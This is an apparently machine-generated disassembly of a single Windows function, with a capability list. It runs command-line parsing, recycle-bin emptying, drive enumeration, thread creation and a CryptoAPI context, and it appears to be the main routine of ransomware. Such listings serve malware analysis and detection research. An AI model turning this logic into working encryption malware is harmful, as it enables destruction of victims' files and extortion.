Function at 0x40ac30
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
call fcn.0040fe60
call fcn.00412e00
nop
call fcn.00404b00
mov dword [0x414240], eax
cmp dword [0x414240], 0
je 0x40b1ba
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x38], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
nop
push 0x403c38
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00404ca0
add esp, 0xc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40acc6
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x414130], edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.00404e40
add esp, 4
mov dword [0x41423c], 1
call fcn.004047f0
call fcn.00404a30
call fcn.00404750
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
shl eax, 2
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
shr ecx, 1
mov dword [ebp - 4], ecx
imul edx, dword [ebp - 0x54], 6
push edx
push 0x4141dc
call fcn.00412ed0
add esp, 8
imul eax, dword [ebp - 4], 3
push eax
push 0x41420c
call fcn.00412ed0
add esp, 8
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
call fcn.00412e80
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 4]
shl edx, 2
push edx
call fcn.00412e80
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
je 0x40b19b
cmp dword [ebp - 0x20], 0
je 0x40b19b
mov eax, dword [ebp - 4]
shl eax, 2
push eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00412e10
add esp, 0xc
mov edx, dword [ebp - 4]
shl edx, 2
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412e10
add esp, 0xc
mov dword [ebp - 0x24], 0
jmp 0x40ad9d
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 4]
jae 0x40ade3
push 0
push 0
push 1
push 0x40a840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov dword [edx + ecx*4], eax
push 0
push 0
push 0
push 0x40a840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [edx + ecx*4], eax
jmp 0x40ad94
push 0x403c44
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00404ca0
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x403c54
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404ca0
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
je 0x40aed0
mov dword [ebp - 0x2c], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x28], 0
jmp 0x40ae43
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x60]
jge 0x40ae71
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x40ae6f
xor ecx, ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
jmp 0x40ae3a
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00412e80
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x48]
push eax
call fcn.0040aa10
add esp, 4
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00412eb0
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
jne 0x40ae71
cmp dword [ebp - 8], 0
je 0x40afcf
mov dword [ebp - 0x34], 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x30], 0
jmp 0x40af00
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x64]
jge 0x40af2e
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x40af2c
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 8]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
jmp 0x40aef7
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00412e80
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x40af94
mov ecx, 2
shl ecx, 0
mov edx, dword [ebp - 0x14]
movzx eax, word [edx + ecx]
cmp eax, 0x3a
jne 0x40af94
mov ecx, 2
imul edx, ecx, 0
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + edx]
push ecx
call fcn.0040ab40
add esp, 4
jmp 0x40afa0
mov edx, dword [ebp - 0x14]
push edx
call fcn.0040a640
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call fcn.00412eb0
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
jne 0x40af2e
cmp dword [ebp - 8], 0
jne 0x40b0c1
cmp dword [ebp - 0xc], 0
jne 0x40b0c1
push 0x403c60
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40b00b
push 0x403c80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
nop
jmp 0x40b015
jmp 0x40b0c1
mov dword [ebp - 0x58], 0
push 0x403ca0
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404ba0
add esp, 0xc
movzx ecx, al
cmp ecx, 1
jne 0x40b045
mov edx, dword [ebp - 0x58]
push edx
call fcn.0040a930
add esp, 4
call fcn.00404520
nop
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40b099
mov eax, 0x41
mov word [ebp - 0x10], ax
jmp 0x40b071
mov cx, word [ebp - 0x10]
add cx, 1
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
cmp edx, 0x5a
jg 0x40b099
mov eax, dword [ebp - 0x40]
and eax, 1
je 0x40b08f
movzx ecx, word [ebp - 0x10]
push ecx
call fcn.0040ab40
add esp, 4
mov edx, dword [ebp - 0x40]
shr edx, 1
mov dword [ebp - 0x40], edx
jmp 0x40b065
push 0x403ca8
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00404ba0
add esp, 0xc
movzx edx, al
test edx, edx
jne 0x40b0c1
mov eax, dword [ebp - 0x58]
push eax
call fcn.0040a930
add esp, 4
mov dword [ebp - 0x4c], 0
jmp 0x40b0d3
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 4]
jae 0x40b0ee
push 1
push 0
push 0x41420c
call fcn.00412ff0
add esp, 0xc
jmp 0x40b0ca
push 0xffffffffffffffff
push 1
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
nop
mov dword [ebp - 0x50], 0
jmp 0x40b113
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jae 0x40b12e
push 1
push 0
push 0x4141dc
call fcn.00412ff0
add esp, 0xc
jmp 0x40b10a
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.00404750
nop
mov dword [ebp - 0x3c], 0
jmp 0x40b158
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 4]
jae 0x40b183
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x40b14f
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00412eb0
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412eb0
add esp, 4
cmp dword [0x41423c], 0
je 0x40b1aa
call fcn.00404e80
nop
push 0
mov ecx, dword [0x414240]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
nop
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]